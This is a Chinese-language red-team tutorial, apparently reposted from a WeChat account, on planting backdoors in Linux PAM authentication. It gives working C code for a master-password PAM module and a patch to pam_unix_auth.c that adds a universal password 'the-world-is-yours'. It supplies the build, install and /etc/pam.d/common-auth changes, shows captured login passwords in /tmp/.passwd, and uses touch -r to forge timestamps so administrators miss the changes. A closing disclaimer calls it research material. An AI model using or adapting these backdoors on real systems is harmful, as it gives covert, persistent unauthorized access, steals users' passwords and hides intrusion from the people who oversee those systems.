linux之PAM模块后门

admin 2024年5月17日20:31:33评论21 views字数 6458阅读21分31秒阅读模式

什么是 PAM 模块?

PAM是一组负责系统中身份验证的插件。本质上,它是操作系统或应用程序可用来发出用户身份验证请求的API 。

PAM代表可插入身份验证模块.

所有可与 PAM 配合使用的实用程序和应用程序都会选择它们并使用它们进行用户身份验证。

实际上,它的工作原理如下:su命令调用 PAM,PAM 使用配置文件中指定的模块执行所有必要的检查,并将结果返回给su命令。

要使用 PAM,必须编写并编译程序才能使用它。您可以使用ldd来检查。在此示例中,我将测试ssh和su上的后门。

让我们确保它们可以使用 PAM 身份验证:

ldd /usr/sbin/sshd | grep libpam.so      libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)ldd /bin/su | grep libpam.so      libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)

太好了,我们继续吧。

编写我们自己的 PAM 后门

让我们使用主密码制作一个用于身份验证的通用密钥。让我们以 Federico Fazzi 的pambd为基础。

创建pambd.c 文件,不要忘记编辑MYPASSWD宏,指定您的主密码:

#include           #include           #include           #include           #include           #include           define MYPASSWD "my_master_passwd"PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {return PAM_SUCCESS;}PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {return PAM_SUCCESS;}PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {char *password = NULL;pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);         
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD))) return PAM_SUCCESS;
return -1;

        

我在 Debian 10 中执行所有操作。组装需要 libpam-dev 包。因此,我们使用apt安装:

sudo apt update && apt install libpam0g-dev

让我们组装我们的模块:

gcc -shared -fPIC -ldl -o pam_bd.so pambd.c

现在您需要将其与其余 PAM 模块放在一起。就我而言,Debian x64 的路径是/lib/x86_64-linux-gnu/security/。

如果您有类似 RedHat 的发行版(例如 CentOS 或 Fedora),则路径将为/lib/security/或/lib64/security /,具体取决于操作系统是 64 位还是 32 位。对于 Debian x86,路径为/usr/lib/i386-linux-gnu。

复制模块编译后的模块pam_bd.so:

mv pam_bd.so /lib/x86_64-linux-gnu/security/file /lib/x86_64-linux-gnu/security/pam_bd.so/lib/x86_64-linux-gnu/security/pam_bd.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped

现在您需要修复pamd的配置,其文件位于/etc/pam.d目录中。例如,对于ssh ,它将是/etc/pam.d/sshd,对于su ,分别是/etc/pam.d/su。

如果之前交互逻辑是在每个服务配置文件中单独指定的话,现在新版本的Linux使用配置文件/etc/pam.d/common-account、/etc/pam.d/common-auth等,这些配置文件使用在其他服务的配置pamd中。

这只是对我们有利。让我们一次性启用该模块以进行ssh身份验证、su身份验证以及使用@include common-auth 的其他所有内容。

我们查看/etc/pam.d/common-auth的内容:

cat /etc/pam.d/common-auth...# here are the per-package modules (the "Primary" block)auth      [success=1 default=ignore]      pam_unix.so nullok_secure# here's the fallback if no module succeeds...

我们看到 pam_unix.so 将首先连接。将 control_flag [success=1 default=ignore]更改为足够并添加您的 pam.d 后门。编辑文件/etc/pam.d/common-auth:

nano /etc/pam.d/common-auth

我们将其转化为以下形式:

cat /etc/pam.d/common-auth...# here are the per-package modules (the "Primary" block)auth      sufficient      pam_unix.so nullok_secureauth      sufficient      pam_bd.so# here's the fallback if no module succeeds...

我们使用 MYPASSWD 宏中的密码保存并测试su和ssh ,该密码是在汇编期间指定的:

ssh n0a@localhostThe authenticity of host 'localhost (::1)' can't be established.ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.Are you sure you want to continue connecting (yes/no)? yes

测试表明我们的PAM 后门效果很好。剩下要做的就是掩盖你的踪迹。为此,我们将更改pam_bd.so和common-auth文件的时间戳,以便管理员不会发现任何可疑内容。

我们检查我们的文件和附近文件的当前时间戳:

ls -la /etc/pam.ddrwxr-xr-x   2 root root 4096 ноя 25 16:26 .drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..-rw-r--r--   1 root root  384 сен 27  2017 chfn-rw-r--r--   1 root root   92 сен 27  2017 chpasswd-rw-r--r--   1 root root  581 сен 27  2017 chsh-rw-r--r--   1 root root 1251 ноя  5 05:01 common-account-rw-r--r--   1 root root 1232 ноя 25 15:59 common-auth-rw-r--r--   1 root root 1480 ноя  5 05:01 common-password-rw-r--r--   1 root root 1189 ноя  5 05:01 common-session...ls -la /lib/x86_64-linux-gnu/security/итого 1276drwxr-xr-x  2 root root   4096 ноя 25 16:11 .drwxr-xr-x 79 root root  69632 ноя 25 14:55 ..-rw-r--r--  1 root root  18632 фев 14  2019 pam_access.so-rwxr-xr-x  1 root root  16120 ноя 25 15:57 pam_bd.so-rw-r--r--  1 root root  14400 фев 14  2019 pam_debug.so-rw-r--r--  1 root root  13968 фев 14  2019 pam_deny.so-rw-r--r--  1 root root  14368 фев 14  2019 pam_echo.so...

对于common-auth,我们将使用common-password时间,对于pam_bd.so,我们将使用 pam_access.so时间。我们不要忘记设置pam_bd.so 的权限:

touch -r /etc/pam.d/common-password /etc/pam.d/common-authchmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.sotouch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so

我们检查:

ls -la /etc/pam.dитого 120drwxr-xr-x   2 root root 4096 ноя 25 16:26 .drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..-rw-r--r--   1 root root  384 сен 27  2017 chfn-rw-r--r--   1 root root   92 сен 27  2017 chpasswd-rw-r--r--   1 root root  581 сен 27  2017 chsh-rw-r--r--   1 root root 1251 ноя  5 05:01 common-account-rw-r--r--   1 root root 1232 ноя  5 05:01 common-auth-rw-r--r--   1 root root 1480 ноя  5 05:01 common-password-rw-r--r--   1 root root 1189 ноя  5 05:01 common-session...ls -la /lib/x86_64-linux-gnu/security/итого 1276drwxr-xr-x  2 root root   4096 ноя 25 16:11 .drwxr-xr-x 79 root root  69632 ноя 25 14:55 ..-rw-r--r--  1 root root  18632 фев 14  2019 pam_access.so-rw-r--r--  1 root root  16120 фев 14  2019 pam_bd.so-rw-r--r--  1 root root  14400 фев 14  2019 pam_debug.so-rw-r--r--  1 root root  13968 фев 14  2019 pam_deny.so-rw-r--r--  1 root root  14368 фев 14  2019 pam_echo.so...

伟大的。现在我们有了自己的PAM后门,非常适合安装在系统中。

在 pam_unix.so 中添加书签并进行日志记录

如果我们不使用自己的库,而是编译我们自己的原始pam_unix.so版本并添加其他用户输入的密码日志记录,该怎么办?诱人吗?我同意,我们就这么做吧。

要修改pam_unix.so,我们需要使用PAM源代码。有两种获取方式:

1.我们从 github 存储库获取源代码:( https://github.com/linux-pam/linux-pam/releases )

2.我们使用apt下载当前安装版本的源代码。

我将采取第二条路径,因为在这种情况下,我们将直接从系统中的版本修改代码。

为此,我们更新并获取源代码中当前安装的 PAM 版本:

sudo apt updatesudo apt install dpkg-devsudo apt build-dep pamapt source pamcd pam-1.3.1

可以看到,系统当前的版本是pam-1.3.1。为了使用您自己的密码和登录日志记录添加授权,我们需要文件pam-1.3.1/modules/pam_unix/pam_unix_auth.c。

我们找到代码(pam_unix_auth.c 文件的~177 行):

/* verify the password of this user */retval = _unix_verify_password(pamh, name, p, ctrl);name = p = NULL;

通过替换retval = _unix_verify_password(pamh, name, p, ctrl); 来修改该行;到我们的代码(这里是通用密码the-world-is-yours,您可以将其替换为您自己的):

nano modules/pam_unix/pam_unix_auth.c// Вводим дополнительную проверкуif (strcmp(p, "the-world-is-yours") != 0) {retval = _unix_verify_password(pamh, name, p, ctrl);} else {retval = PAM_SUCCESS;}

修改pam_unix_auth.c

它应该看起来像这样:

修改pam_unix_auth.c

我们收集“更正后的”PAM,将pam_unix.so复制到/lib/x86_64-linux-gnu/security/,更改时间戳:

./configuremakecp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so

使用密码the-world-is-yours测试新的后门:

ssh 192.168.232.138[email protected]'s password:Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64         
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.You have new mail.Last login: Wed Nov 25 19:02:12 2020 from ::1
cat /tmp/.passwdroot:the-world-is-yoursroot:t3st#n0a:the-world-is-yours

成功。现在我们不仅在本机 PAM 身份验证模块中安装了书签,而且还能够读取密码。此外,目前有两个书签正在运行:第一个书签为pam_bd.so,新的书签为pam_unix.so。

对于最后一个过程的自动化工具,我可以推荐https://github.com/zephrax/linux-pam-backdoor。做同样的事情,但是是自动的。如果您需要添加日志记录,请编辑backdoor.patch文件。

结论

我们一起分析了PAM模块及其在身份验证过程中的工作,创建了多个后门并掩盖了我们的踪迹。这是一个相当可靠的手段,但我们必须记住,这并不是一个永恒的固定在系统中的方式。如果包管理器中有PAM更新,pam_unix.so将被覆盖。不要忘记数据包完整性监控。

参考:

https://github.com/eurialo/pambd

原文始发于微信公众号(红队笔记录):linux之PAM模块后门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日20:31:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux之PAM模块后门https://cn-sec.com/archives/2049222.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息